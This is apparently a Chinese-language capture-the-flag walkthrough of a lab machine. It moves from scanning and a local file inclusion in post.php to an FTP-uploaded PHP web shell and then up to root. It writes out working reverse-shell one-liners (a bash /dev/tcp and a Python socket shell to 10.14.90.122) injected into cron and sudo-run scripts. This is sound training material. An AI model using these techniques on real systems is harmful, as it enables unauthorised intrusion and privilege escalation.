靶机ip:10.10.76.81

信息收集

nmap扫描

1
nmap --min-rate 10000 -A -sV -sC -p- 10.10.76.81

image-20241021132444064

发现开放21,22,80端口

21端口

尝试一下匿名登录

image-20241021132544221

匿名登陆失败

80端口

image-20241021132630028

image-20241021132751518

随便点击后发现在url处疑似存在文件包含,尝试利用一下

/post.php?post=/etc/passwd

image-20241021132830423

此处确实存在文件包含

再扫描一下目录

1
gobuster dir -u http://10.10.76.81/ -w /usr/share/wordlists/dirb/common.txt

image-20241021133237741

  • robots.txt

image-20241021133323903

找到俩文件

image-20241021133412280

其中一个是flag1

image-20241021133506063

另一个无法访问,但是可以用之前发现的文件包含读取文件

/post.php?post=secret_file_do_not_read.txt

image-20241021133549160

发现另一重要目录/home/ftpuser/ftp/files,同时最后面像是一组用户名密码ftpuser:givemefiles777,再次尝试登录ftp

1
ftp ftpuser@10.10.76.81

image-20241021133958383

登陆成功,并找到flag2

同时files目录就是之前通过任意文件读取找到的目录

获得初始访问权限

我们可以尝试一下,通过ftp上传的文件,我们知道其绝对路径,就可以通过文件读取进行利用

先简单尝试一下,准备个php文件

image-20241021134710659

通过ftp上传文件

image-20241021134723674

此时文件的绝对路径就是/home/ftpuser/ftp/files/info.php

再通过浏览器读取该文件

image-20241021134820399

成功读取,同时php代码也可以被解析,可以利用这个进行反弹shell

准备好我们的webshell

image-20241021135010474

设置好ip和port

将文件通过ftp上传到服务器上

image-20241021135312126

攻击机设置好监听

image-20241021135330242

浏览器读取并访问我们的shell文件

/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php

image-20241021135423056

拿到shell

主机用户信息收集

我们已经获得了www-data权限,能够简单的访问服务器资源,我们需要更进一步的控制这台服务器,就需要继续提升我们的权限

image-20241021135911555

/home/mat下,找到flag5,但是权限不够无法访问,但是可以查看note.txt

image-20241021140022894

发现可以使用脚本执行,查看一下

image-20241021140134588

先切换到交互式shell

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

发现该文件只提供了三个可以执行的命令,因为文件所属权不属于当前用户,所以无法更改,看下其他用户目录

image-20241021140625275

还有个note.txt,查看一下,flag4还是没权限查看,同时还注意到有个jobs目录

image-20241021141230381

看样子是想提醒我们查看jobs目录

image-20241021141313651

这是一个脚本文件,里面有cat命令

继续查看最后一个用户

image-20241021141411017

这里只有flag6,仍然无权限读取

image-20241021141749594

在web目录下找到flag3

提升至user权限

提升至toby权限

先检查下sudo -l

image-20241021144634735

发现可以使用toby执行任何命令sudo无需密码

image-20241021144809623

获取toby用户权限,并拿到flag4

横移至mat权限

结合之前的信息可知toby的jobs目录中cow.sh是mat的,而我们可以修改该文件,所以我们可以通过写反弹shell获取mat的权限

攻击机先设置监听

image-20241021145634230

在靶机中

1
echo "bash -i >& /dev/tcp/10.14.90.122/8889 0>&1" >> cow.sh

image-20241021145803589

image-20241021150104300

过一会等定时任务触发,就拿到了mat的shell,并在当前目录找到flag5

image-20241021150537504

横移至will权限

现在已经拿到了mat的权限,查看一下sudo -l

image-20241021151138536

发现我们可以不用密码执行will权限的python3命令

image-20241021151707919

结合之前分析的结果可知,我们有权修改cmd.py,无权更改will_script.py,但是will_script.py会调用cmd.py,所以我们就可以通过修改cmd.py的内容,在其中写上反弹shell的python代码,使用will权限的python3执行will_script.py,我们就获得了will的shell

先在kali上设置监听

image-20241021152037707

在靶机上写入python代码

1
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.90.122",8899));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> cmd.py

image-20241021152240564

执行

image-20241021152328180

image-20241021152340822

获得will的shell

image-20241021152436836

找到flag6

提升至root权限

使用will继续查找敏感文件

image-20241021152839278

/opt/backups下找到了经过base64编码的key

将其保存到文件base64_key解码查看

image-20241021153035699

发现是一组私钥,猜测是root的,将私钥保存到文件id_rsa,并赋予600权限便于ssh连接

1
ssh root@10.10.76.81 -i id_rsa

image-20241021153436661

获得root权限

image-20241021153501169

在当前目录找到最后一个flag7